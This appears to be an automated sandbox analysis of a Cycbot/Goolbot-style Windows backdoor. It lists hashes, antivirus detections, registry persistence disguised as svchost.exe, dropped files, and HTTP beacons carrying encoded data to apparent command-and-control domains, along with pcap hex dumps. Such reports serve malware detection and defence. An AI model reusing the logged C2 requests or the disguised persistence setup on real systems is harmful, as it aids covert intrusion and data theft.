Analysis Date2015-01-17 13:32:21
MD555dd71808e437a2841580b155d223f39
SHA176acd21447c877dd2b5fe8e4e92ca7772e3e2aac

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 34c82306e8d312c95b5ba0949ab48710 sha1: e4348fe36ec759af338e3d2058e8767baa5eb6b2 size: 99328
Section.rdata md5: 81ece2f64ac8d3e5856894e12d221334 sha1: e2d7752a9bdd6399b483c859f544013373768c29 size: 2560
Section.data md5: a8053a7bf97b16fb6f4a70fcffbdc84f sha1: 00e61503bdf8f4187f41744eb267bcdff5df2c1d size: 16384
Section.rsrc md5: e0885350c2a44a12ee4d4adf3ac8b50a sha1: a7951810c3a11019aafa33525bd10ea6b56d63a8 size: 1024
Timestamp2005-10-13 03:08:17
VersionPrivateBuild: 1297
FileDescription: Windows Host Process
PEhash00bedcc82e33e3c8f95009e9c500187069259976
IMPhash248dffb2894da8580a8f1070032192ad
AV360 Safeno_virus
AVAd-AwareGen:Heur.Conjar.2
AVAlwil (avast)Cybota [Trj]
AVArcabit (arcavir)Gen:Heur.Conjar.2
AVAuthentiumW32/Goolbot.B.gen!Eldorado
AVAvira (antivir)TR/Crypt.XPACK.Gen
AVBullGuardGen:Heur.Conjar.2
AVCA (E-Trust Ino)Win32/Cycbot.B!generic
AVCAT (quickheal)Backdoor.Cycbot.B
AVClamAVTrojan.Agent-216650
AVDr. WebTrojan.Siggen2.9955
AVEmsisoftGen:Heur.Conjar.2
AVEset (nod32)Win32/Kryptik.IMW
AVFortinetW32/FakeAV.PACK!tr
AVFrisk (f-prot)W32/Goolbot.B.gen!Eldorado
AVF-SecureGen:Heur.Conjar.2
AVGrisoft (avg)Agent.5.BJ
AVIkarusPacked.Win32.Krap
AVK7Backdoor ( 003210941 )
AVKasperskyPacked.Win32.Krap.hy
AVMalwareBytesTrojan.Agent.Gen
AVMcafeeBackDoor-EXI.gen.d
AVMicrosoft Security EssentialsBackdoor:Win32/Cycbot.G
AVMicroWorld (escan)Gen:Heur.Conjar.2
AVRisingTrojan.Win32.Generic.125B7135
AVSophosTroj/FakeAV-BZD
AVSymantecTrojan.Gen
AVTrend MicroBKDR_CYCBOT.SME
AVVirusBlokAda (vba32)SScope.Malware-Cryptor.Maxplus.0997

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
1
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost ➝
C:\Documents and Settings\Administrator\Application Data\Microsoft\svchost.exe
Creates FileC:\Documents and Settings\Administrator\Application Data\Microsoft\svchost.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Application Data\Microsoft\stor.cfg
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\dwm.exe
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Application Data\Microsoft\Windows\shell.exe%C:\Documents and Settings\Administrator\Application Data\Microsoft\Windows
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\dwm.exe%C:\Documents and Settings\Administrator\Local Settings\Temp
Creates Mutex{A5B35993-9674-43cd-8AC7-5BC5013E617B}
Creates Mutex{C66E79CE-8005-4ed9-A6B1-4983619CB922}
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutex{61B98B86-5F44-42b3-BCA1-33904B067B81}
Creates Mutex{7791C364-DE4E-4000-9E92-9CCAFDDD90DC}
Creates Mutex{C66E79CE-8935-4ed9-A6B1-4983619CB925}
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates Mutex{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Winsock DNSdolbyaudiodevice.com
Winsock DNSwww.google.com
Winsock DNSzoneck.com
Winsock DNSmotherboardstest.com
Winsock DNSxinmin.cn
Winsock DNS127.0.0.1
Winsock DNSzonejm.com

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\dwm.exe%C:\Documents and Settings\Administrator\Local Settings\Temp

Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\dwm.exe

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Application Data\Microsoft\Windows\shell.exe%C:\Documents and Settings\Administrator\Application Data\Microsoft\Windows

Creates ProcessC:\Documents and Settings\Administrator\Application Data\Microsoft\Windows\shell.exe

Process
↳ C:\Documents and Settings\Administrator\Application Data\Microsoft\Windows\shell.exe

Network Details:

DNSxinmin.cn
Type: A
222.73.115.218
DNSzoneck.com
Type: A
208.79.234.132
DNSwww.google.com
Type: A
173.194.37.84
DNSwww.google.com
Type: A
173.194.37.83
DNSwww.google.com
Type: A
173.194.37.82
DNSwww.google.com
Type: A
173.194.37.81
DNSwww.google.com
Type: A
173.194.37.80
DNSzonejm.com
Type: A
23.239.15.54
DNSmotherboardstest.com
Type: A
204.11.56.45
DNSprotectyourpc-11.com
Type: A
DNSdolbyaudiodevice.com
Type: A
HTTP GEThttp://zoneck.com/images/im133.jpg?tq=gJ4WK%2FSUh7zEhRMw9YLRsrCSUDSrw8a3nNQLabnVsMLElls0rNa1x7KTVjnaoLe2wecnKK7Ql6TH51IortCC5IaGUUmo39LyyZJqtUn5CGFIRQ%3D%3D
User-Agent: gbot/2.3
HTTP GEThttp://xinmin.cn/2010/10/10/20101010095345843723.jpg?tq=gJ4WK%2FSUh5zAhRMw9YLJkMSTUivqg4acwJpEfqHXarVJ%2BQhhaGE%3D
User-Agent: gbot/2.3
HTTP GEThttp://www.google.com/
User-Agent:
HTTP GEThttp://www.google.com/
User-Agent:
HTTP GEThttp://zonejm.com/images/im134.jpg?tq=gK4QK%2FSUh7zEtRMw9YLRsrCiUDSrw8a3nOQLabnVsMLEpls0rNa1x7KjVjnaoLe2wdcnKK7Qh%2FWR40c%2B2NfS8smiWoNJ%2BQhhSEU%3D
User-Agent: gbot/2.3
HTTP GEThttp://motherboardstest.com/images/im134.jpg?tq=gK4QK%2FSUh7zEtRMw9YLRsrCiUDSrw8a3nOQLabnVsMLEpls0rNa1x7KjVjnaoLe2wdcnKK7Qh%2FWR40c%2B2NfS8smiWoNJ%2BQhhSEU%3D
User-Agent: gbot/2.3
HTTP GEThttp://zonejm.com/images/im135.jpg?tq=gL4SK%2FSUh7zEpRMw9JGd5dGwJk6s0824xLMjS9rWwLWyxSE6qaKxpMa1C2m51bCwxrpVK%2B%2FbxUqRSfkIYUhF
User-Agent: gbot/2.3
Flows TCP192.168.1.1:1032 ➝ 208.79.234.132:80
Flows TCP192.168.1.1:1033 ➝ 222.73.115.218:80
Flows TCP192.168.1.1:1034 ➝ 173.194.37.84:80
Flows TCP192.168.1.1:1035 ➝ 173.194.37.84:80
Flows TCP192.168.1.1:1036 ➝ 23.239.15.54:80
Flows TCP192.168.1.1:1037 ➝ 204.11.56.45:80
Flows TCP192.168.1.1:1038 ➝ 23.239.15.54:80

Raw Pcap
0x00000000 (00000)   47455420 2f696d61 6765732f 696d3133   GET /images/im13
0x00000010 (00016)   332e6a70 673f7471 3d674a34 574b2532   3.jpg?tq=gJ4WK%2
0x00000020 (00032)   46535568 377a4568 524d7739 594c5273   FSUh7zEhRMw9YLRs
0x00000030 (00048)   72435355 44537277 3861336e 4e514c61   rCSUDSrw8a3nNQLa
0x00000040 (00064)   626e5673 4d4c456c 6c733072 4e613178   bnVsMLElls0rNa1x
0x00000050 (00080)   374b5456 6a6e616f 4c653277 65636e4b   7KTVjnaoLe2wecnK
0x00000060 (00096)   4b37516c 36544835 31496f72 74434335   K7Ql6TH51IortCC5
0x00000070 (00112)   49614755 556d6f33 394c7979 5a4a7174   IaGUUmo39LyyZJqt
0x00000080 (00128)   556e3543 47464952 51253344 25334420   Un5CGFIRQ%3D%3D 
0x00000090 (00144)   48545450 2f312e30 0d0a436f 6e6e6563   HTTP/1.0..Connec
0x000000a0 (00160)   74696f6e 3a20636c 6f73650d 0a486f73   tion: close..Hos
0x000000b0 (00176)   743a207a 6f6e6563 6b2e636f 6d0d0a41   t: zoneck.com..A
0x000000c0 (00192)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x000000d0 (00208)   2d416765 6e743a20 67626f74 2f322e33   -Agent: gbot/2.3
0x000000e0 (00224)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f323031 302f3130 2f31302f   GET /2010/10/10/
0x00000010 (00016)   32303130 31303130 30393533 34353834   2010101009534584
0x00000020 (00032)   33373233 2e6a7067 3f74713d 674a3457   3723.jpg?tq=gJ4W
0x00000030 (00048)   4b253246 53556835 7a416852 4d773959   K%2FSUh5zAhRMw9Y
0x00000040 (00064)   4c4a6b4d 53545569 76716734 6163774a   LJkMSTUivqg4acwJ
0x00000050 (00080)   70456671 48586172 564a2532 42516868   pEfqHXarVJ%2BQhh
0x00000060 (00096)   61474525 33442048 5454502f 312e300d   aGE%3D HTTP/1.0.
0x00000070 (00112)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x00000080 (00128)   73650d0a 486f7374 3a207869 6e6d696e   se..Host: xinmin
0x00000090 (00144)   2e636e0d 0a416363 6570743a 202a2f2a   .cn..Accept: */*
0x000000a0 (00160)   0d0a5573 65722d41 67656e74 3a206762   ..User-Agent: gb
0x000000b0 (00176)   6f742f32 2e330d0a 0d0a                ot/2.3....

0x00000000 (00000)   47455420 2f204854 54502f31 2e300d0a   GET / HTTP/1.0..
0x00000010 (00016)   436f6e6e 65637469 6f6e3a20 636c6f73   Connection: clos
0x00000020 (00032)   650d0a48 6f73743a 20777777 2e676f6f   e..Host: www.goo
0x00000030 (00048)   676c652e 636f6d0d 0a416363 6570743a   gle.com..Accept:
0x00000040 (00064)   202a2f2a 0d0a0d0a 6c733072 4e613178    */*....ls0rNa1x
0x00000050 (00080)   374b5456 6a6e616f 4c653277 65636e4b   7KTVjnaoLe2wecnK
0x00000060 (00096)   4b37516c 36544835 31496f72 74434335   K7Ql6TH51IortCC5
0x00000070 (00112)   49614755 556d6f33 394c7979 5a4a7174   IaGUUmo39LyyZJqt
0x00000080 (00128)   556e3543 47464952 51253344 25334420   Un5CGFIRQ%3D%3D 
0x00000090 (00144)   48545450 2f312e30 0d0a436f 6e6e6563   HTTP/1.0..Connec
0x000000a0 (00160)   74696f6e 3a20636c 6f73650d 0a486f73   tion: close..Hos
0x000000b0 (00176)   743a207a 6f6e6563 6b2e636f 6d0d0a41   t: zoneck.com..A
0x000000c0 (00192)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x000000d0 (00208)   2d416765 6e743a20 67626f74 2f322e33   -Agent: gbot/2.3
0x000000e0 (00224)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f204854 54502f31 2e300d0a   GET / HTTP/1.0..
0x00000010 (00016)   436f6e6e 65637469 6f6e3a20 636c6f73   Connection: clos
0x00000020 (00032)   650d0a48 6f73743a 20777777 2e676f6f   e..Host: www.goo
0x00000030 (00048)   676c652e 636f6d0d 0a416363 6570743a   gle.com..Accept:
0x00000040 (00064)   202a2f2a 0d0a0d0a 6c733072 4e613178    */*....ls0rNa1x
0x00000050 (00080)   374b5456 6a6e616f 4c653277 65636e4b   7KTVjnaoLe2wecnK
0x00000060 (00096)   4b37516c 36544835 31496f72 74434335   K7Ql6TH51IortCC5
0x00000070 (00112)   49614755 556d6f33 394c7979 5a4a7174   IaGUUmo39LyyZJqt
0x00000080 (00128)   556e3543 47464952 51253344 25334420   Un5CGFIRQ%3D%3D 
0x00000090 (00144)   48545450 2f312e30 0d0a436f 6e6e6563   HTTP/1.0..Connec
0x000000a0 (00160)   74696f6e 3a20636c 6f73650d 0a486f73   tion: close..Hos
0x000000b0 (00176)   743a207a 6f6e6563 6b2e636f 6d0d0a41   t: zoneck.com..A
0x000000c0 (00192)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x000000d0 (00208)   2d416765 6e743a20 67626f74 2f322e33   -Agent: gbot/2.3
0x000000e0 (00224)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696d61 6765732f 696d3133   GET /images/im13
0x00000010 (00016)   342e6a70 673f7471 3d674b34 514b2532   4.jpg?tq=gK4QK%2
0x00000020 (00032)   46535568 377a4574 524d7739 594c5273   FSUh7zEtRMw9YLRs
0x00000030 (00048)   72436955 44537277 3861336e 4f514c61   rCiUDSrw8a3nOQLa
0x00000040 (00064)   626e5673 4d4c4570 6c733072 4e613178   bnVsMLEpls0rNa1x
0x00000050 (00080)   374b6a56 6a6e616f 4c653277 64636e4b   7KjVjnaoLe2wdcnK
0x00000060 (00096)   4b375168 25324657 52343063 25324232   K7Qh%2FWR40c%2B2
0x00000070 (00112)   4e665338 736d6957 6f4e4a25 32425168   NfS8smiWoNJ%2BQh
0x00000080 (00128)   68534555 25334420 48545450 2f312e30   hSEU%3D HTTP/1.0
0x00000090 (00144)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x000000a0 (00160)   6f73650d 0a486f73 743a207a 6f6e656a   ose..Host: zonej
0x000000b0 (00176)   6d2e636f 6d0d0a41 63636570 743a202a   m.com..Accept: *
0x000000c0 (00192)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x000000d0 (00208)   67626f74 2f322e33 0d0a0d0a 2f322e33   gbot/2.3..../2.3
0x000000e0 (00224)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696d61 6765732f 696d3133   GET /images/im13
0x00000010 (00016)   342e6a70 673f7471 3d674b34 514b2532   4.jpg?tq=gK4QK%2
0x00000020 (00032)   46535568 377a4574 524d7739 594c5273   FSUh7zEtRMw9YLRs
0x00000030 (00048)   72436955 44537277 3861336e 4f514c61   rCiUDSrw8a3nOQLa
0x00000040 (00064)   626e5673 4d4c4570 6c733072 4e613178   bnVsMLEpls0rNa1x
0x00000050 (00080)   374b6a56 6a6e616f 4c653277 64636e4b   7KjVjnaoLe2wdcnK
0x00000060 (00096)   4b375168 25324657 52343063 25324232   K7Qh%2FWR40c%2B2
0x00000070 (00112)   4e665338 736d6957 6f4e4a25 32425168   NfS8smiWoNJ%2BQh
0x00000080 (00128)   68534555 25334420 48545450 2f312e30   hSEU%3D HTTP/1.0
0x00000090 (00144)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x000000a0 (00160)   6f73650d 0a486f73 743a206d 6f746865   ose..Host: mothe
0x000000b0 (00176)   72626f61 72647374 6573742e 636f6d0d   rboardstest.com.
0x000000c0 (00192)   0a416363 6570743a 202a2f2a 0d0a5573   .Accept: */*..Us
0x000000d0 (00208)   65722d41 67656e74 3a206762 6f742f32   er-Agent: gbot/2
0x000000e0 (00224)   2e330d0a 0d0a                         .3....

0x00000000 (00000)   47455420 2f696d61 6765732f 696d3133   GET /images/im13
0x00000010 (00016)   352e6a70 673f7471 3d674c34 534b2532   5.jpg?tq=gL4SK%2
0x00000020 (00032)   46535568 377a4570 524d7739 4a476435   FSUh7zEpRMw9JGd5
0x00000030 (00048)   6447774a 6b367330 38323478 4c4d6a53   dGwJk6s0824xLMjS
0x00000040 (00064)   39725777 4c577978 53453671 614b7870   9rWwLWyxSE6qaKxp
0x00000050 (00080)   4d613143 326d3531 62437778 7270564b   Ma1C2m51bCwxrpVK
0x00000060 (00096)   25324225 32466278 55715253 666b4959   %2B%2FbxUqRSfkIY
0x00000070 (00112)   55684620 48545450 2f312e30 0d0a436f   UhF HTTP/1.0..Co
0x00000080 (00128)   6e6e6563 74696f6e 3a20636c 6f73650d   nnection: close.
0x00000090 (00144)   0a486f73 743a207a 6f6e656a 6d2e636f   .Host: zonejm.co
0x000000a0 (00160)   6d0d0a41 63636570 743a202a 2f2a0d0a   m..Accept: */*..
0x000000b0 (00176)   55736572 2d416765 6e743a20 67626f74   User-Agent: gbot
0x000000c0 (00192)   2f322e33 0d0a0d0a 202a2f2a 0d0a5573   /2.3.... */*..Us
0x000000d0 (00208)   65722d41 67656e74 3a206762 6f742f32   er-Agent: gbot/2
0x000000e0 (00224)   2e330d0a 0d0a                         .3....


Strings
.

040904b0
1297
B&reak
C&ompile
&Data
FileDescription
MS Sans Serif
PrivateBuild
StringFileInfo
Translation
VarFileInfo
VS_VERSION_INFO
Windows Host Process
04j;<]
2_V{fF
5gX%XP
6JNVZj
6=(Wy6
7cjcBc
7JEX8;2
7oK)gX
8ci[Pp,F
}8EXGX
<8o	u}
-'8SzB
96z4h+E$
9dXGXFX
=9<UEX
a;-LQ3q}
aQM9a	
A$sgjRZ
Bn!erf
c2.Pv(r
c^B>'c
>cc7::I
cfjlHY
cgXvgX
CheckMenuItem
cH>''gX
 *CjWC
CloseHandle
COMCTL32.dll
CompareStringA
CreateDialogIndirectParamW
CreateMutexW
CreateProcessW
CreateStdAccessibleObject
CreateWindowExW
@.data
DestroyWindow
dFY65A_
DispatchMessageW
{D}~'R
DrawIcon
DXFX-KA
DX,gX}
DX[GX+
DXi:'Xkz
DXNfX!
DX&XfX
dX'Xn 
dXY>?;
DX,zeXp
EnableMenuItem
EnableWindow
,en-cH/K
EndDialog
EnumResourceLanguagesA
)+eX] 
E$XD-W
^>eXDX
EXDX.n.
EXEXUEX
EXeX+~'X
EXfX({
	EXGX"
EXGXDX;,v
EXhVh+
ExitProcess
EXjn{(h
ExpandEnvironmentStringsW
eX(_<R
EX%Xkv
FindResourceW
FreeEnvironmentStringsA
FreeLibrary
FX[EXO
=(fXgX
FXgXJ3
fXmNDX 
fXvdXV
fXVt6C
FX('X-
fX'Xi,"
F]y\	d(!
GetActiveWindow
GetClientRect
GetCursorPos
GetDesktopWindow
GetDlgItem
GetFocus
GetKeyState
GetLastError
GetLocaleInfoW
GetMenuCheckMarkDimensions
GetMenuState
GetModuleFileNameW
GetModuleHandleW
GetNextDlgGroupItem
GetNextDlgTabItem
GetParent
GetPrivateProfileStringW
GetProcAddress
GetSysColorBrush
GetSystemMetrics
GetUserDefaultUILanguage
GetWindow
GetWindowLongW
GlobalAlloc
GlobalLock
GX_:}a
gXL'XDX
GXX$XZ4
HcY?$X"
{HeX5N
H~_:FX"
hhlAll
hhLibr
hhSlee
Hi_(ln
hlFreh
,H}.?O
IdXfX_
-i.fu1
~inFXgX:
InitCommonControlsEx
InterlockedExchange
InvalidateRgn
IsIconic
IsWindow
IsWindowEnabled
IsWindowVisible
i%XfXU
>~J_\ 
j>%XfX
KERNEL32.dll
kFX?<!
'KpsZ?'"
kueXKM9
L0hs:d
l1R@O2
LdXZ'Xy
L.eXGX
L,\EXq
Lf!HcRw
LoadBitmapW
LoadLibraryW
LoadResource
LockResource
LresultFromObject
lstrcmpW
lstrlenW
L+$X&X6
MapDialogRect
MessageBeep
ModifyMenuW
MultiByteToWideChar
m'XoNFX
\+mZGX
:n]Gi4r
N{Ouuv
	N%X_y
o4ZeX[
oEmMda
OEXt%X^
OLEACC.dll
oledlg.dll
OleUIBusyW
o'X[LGXR
pB$pQ7
PeekMessageW
PostMessageW
PostQuitMessage
PtSB x
`.rdata
ReleaseMutex
s3IaVq
sc+'t!
SetActiveWindow
SetCurrentDirectoryW
SetMenu
SetMenuItemBitmaps
SetTimer
SetWindowContextHelpId
SetWindowPos
SizeofResource
(=}t73
TcITj$X
TerminateProcess
!This program cannot be run in DOS mode.
ThLoca
tj%X%X
tL'XN7
TranslateMessage
tyeXKr
U19bH,
ucT+6<Y
u{DXZh
uj'X,W5
.u/Nw9A
UpdateWindow
USER32.dll
ValidateRect
_VgX>r
}vV7eX*
V$XNDXP
WaitForSingleObject
WideCharToMultiByte
w!#J6J
wJRB6v
X56_DX
X5$X_DXC
X5&XjEXYgX
X7?zGX
X8w,&X=
X8&X\Z
&XdX)/
)>xdX0
XdX/dX
xdX(FX
XDXFX^
XDX{W3
XEX	4#
XEXdXDX
XeX<gX
XeXGX 
XEX:&X
XeX&XY
X)|<fX
XfX7veX
XFX9FX
XfXeX]
X*fXEXq
XfXgXI|
XFXGXN
&XFX)iZ/
XFX\~U|%X
XfX%X(
XFXxlA
X[\gX3
XgX{DXn
XgXfX7
XGX^ln`
'XgX.o
X<}GXR
XgXVdX
XgXvfX
X	gX$X
Xh8%X3
XjEXFX
XJodX)lh
Xj,>$X
X{Jx8*
XkH	dX
XkTZh9
$Xk=Ux
XKzzx/
XLx%X)
Xn9~O"
XN9xh`
%XnFXy
XnGXI)
XofX	b
XogXMhX
X<oN%X
xO`*^v
;$X;=Q
X*T`h'
$XThLoad
XUeXeX
XUjufX=
X(uVOj
$X\V5=
X_V$X?
XWj{u]L
(&X'XdX|
%X&XeX
X$XfXdXb
X$Xhj@
X<$Xh'XDX=J
&X&XW0
X['X&X
X$XXVWM
X%X'X$X
X-y=7!
Xy|;9"
XY}	V\^
Xz7ZLeX(
XzFXdX^9
YjYIzGXfX
Yx`HKW<
?>y$XlU
z=Bi|S
ZT}%XU~
Z['XdX